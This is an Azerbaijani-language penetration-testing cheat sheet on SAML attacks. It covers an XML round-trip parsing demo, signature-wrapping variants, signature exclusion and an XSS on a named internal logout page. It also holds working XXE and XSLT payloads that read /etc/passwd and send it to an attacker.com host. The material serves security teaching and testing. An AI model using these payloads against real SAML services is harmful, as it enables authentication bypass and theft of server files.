SAML Hücumları

Hücum Qrafiki:

XML round-trip

XML-də XML-in imzalanmış hissəsi yaddaşda saxlanılır, sonra bəzi kodlaşdırma/deşifrə həyata keçirilir və imza yoxlanılır. İdeal olaraq, kodlaşdırma/şifrləmə məlumatları dəyişməməlidir, lakin bu ssenari əsasında yoxlanılan məlumatlar və orijinal məlumatlar eyni ola bilməz.

Məsələn, aşağıdakı kodu yoxlayın:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
  <Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Proqramı REXML 3.2.4 və ya daha əvvəlki versiyalara qarşı işlətmək əvəzinə aşağıdakı nəticə ilə nəticələnəcək:

First child in original doc: Y
First child after round-trip: Z

REXML yuxarıdakı proqramdan orijinal XML sənədini belə gördü:

Parsing və serialization dövründən sonra bu belə görünür:

XML Signature Wrapping Hücumları

XML İmzalarını ehtiva edən XML sənədləri adətən iki müstəqil addımda emal edilir: imzanın yoxlanılması və funksiyanın çağırılması (biznes məntiqi). Hər iki modulun məlumatlara fərqli baxışları varsa, XML Signature Wrapping Hücumları (XSW) adlı zəifliklərin yeni sinfi mövcuddur. Bu hücumlarda düşmən XML İmzasını ləğv etməyən saxta elementlər yeritməklə mesaj strukturunu dəyişdirir. Bu dəyişikliyin məqsədi mesajı elə dəyişdirməkdir ki, proqram məntiqi və imza yoxlama modulu mesajın müxtəlif hissələrini istifadə etsin. Nəticə etibarilə, qəbuledici XML İmzasını uğurla yoxlayır, lakin proqram məntiqi saxta elementi emal edir. Təcavüzkar beləliklə XML İmzasının bütövlüyünün qorunması və mənşə identifikasiyasından yayınır və ixtiyari məzmunu yeridə bilər.

SAML sorğusundan:

XSW # 1

Təcavüzkar imzanın tapıldığı yerə yeni root element əlavə edə bilər. Buna görə də, təsdiqləyici imzanın bütövlüyünü yoxlayanda qeyd edə bilər ki, o, Response -> Assertion -> Subject bütövlüyünü yoxlayıb və o, evil yeni Response -> Assertion -> Subject yolu qırmızı ilə qarışdırıla bilər və onun məlumatlarından istifadə edir.

XSW #2

#1 ilə fərq ondan ibarətdir ki, istifadə edilən İmza növü ayrılmış imzadır, burada XSW #1 əhatə edən imzadan istifadə edir. Integrity yoxlanışı aparıldıqdan sonra iş məntiqini çaşdırmağa çalışmadan əvvəl yeni evil strukturun necə eyni olduğuna diqqət yetirin.

XSW #3

Bu hücumda iş məntiqini çaşdırmağa və evil məlumatlardan istifadə etməyə cəhd etmək üçün ilkin təsdiqlə eyni səviyyədə evil təsdiqi yaradılır.

XSW #4

XSW #4 #3-ə bənzəyir, bu halda orijinal Təsdiq kopyalanan Təsdiqin chil-ı olur.

XSW #5

XSW #5-də Signature və the original Assertion üç standart konfiqurasiyadan birində deyil (enveloped/enveloping/detached). Bu halda, kopyalanan Assertion Signature envelop edir.

XXE

SAML Cavablarının söndürülməsi və XML sənədlərinin base64 olması səbəbindən biz SAML Cavabı olaraq göndərilən XML sənədini manipulyasiya etməklə XXE-ni sınaqdan keçirə bilərik. Misal:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY    file SYSTEM "file:///etc/passwd">
   <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
  <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
  <saml:Issuer>...</saml:Issuer>
  <ds:Signature ...>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod .../>
      <ds:SignatureMethod .../>
      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
[...]

SAML vasitəsilə XSLT

Extensible Stylesheet Language Transformation (XSLT) XML sənədlərini HTML, JSON və ya PDF kimi digər sənəd növlərinə çevirmək üçün tam Turing dilidir. Burada qeyd edilməli vacib bir cəhət odur ki, hücumun uğur qazanması üçün etibarlı imza tələb olunmur. Bunun səbəbi XSLT transformasiyasının rəqəmsal imzanın yoxlanılmaq üçün işlənməsindən əvvəl baş verməsidir. Əsasən, hücumu həyata keçirmək üçün imzalanmış SAML Cavabına ehtiyacımız var, lakin imza öz-özünə imzalanmış və ya etibarsız ola bilər.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
            <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>

XML Signature Exclusion

Signature exclusion İmza elementi olmadıqda SAML tətbiqinin necə davrandığını yoxlamaq üçün istifadə olunur. İmza elementi olmadıqda, imzanın doğrulanması addımı tamamilə atlana bilər. İmza təsdiqlənməyibsə, adətən imzalanacaq məzmunlardan hər hansı biri təcavüzkar tərəfindən dəyişdirilə bilər.

Logout funksiyasında XSS

Directory brute forcing əməliyyatını yerinə yetirdikdən sonra aşağıdakı səhifəni tapdım:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Bu çıxış səhifəsidir, yuxarıdakı linki açdım və o, məni növbəti səhifəyə yönləndirdi.

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Əsas parametr URL götürür, XSS-i işə salmaq üçün onu köhnə klassik javascript:alert(123); ilə əvəz etmək olar.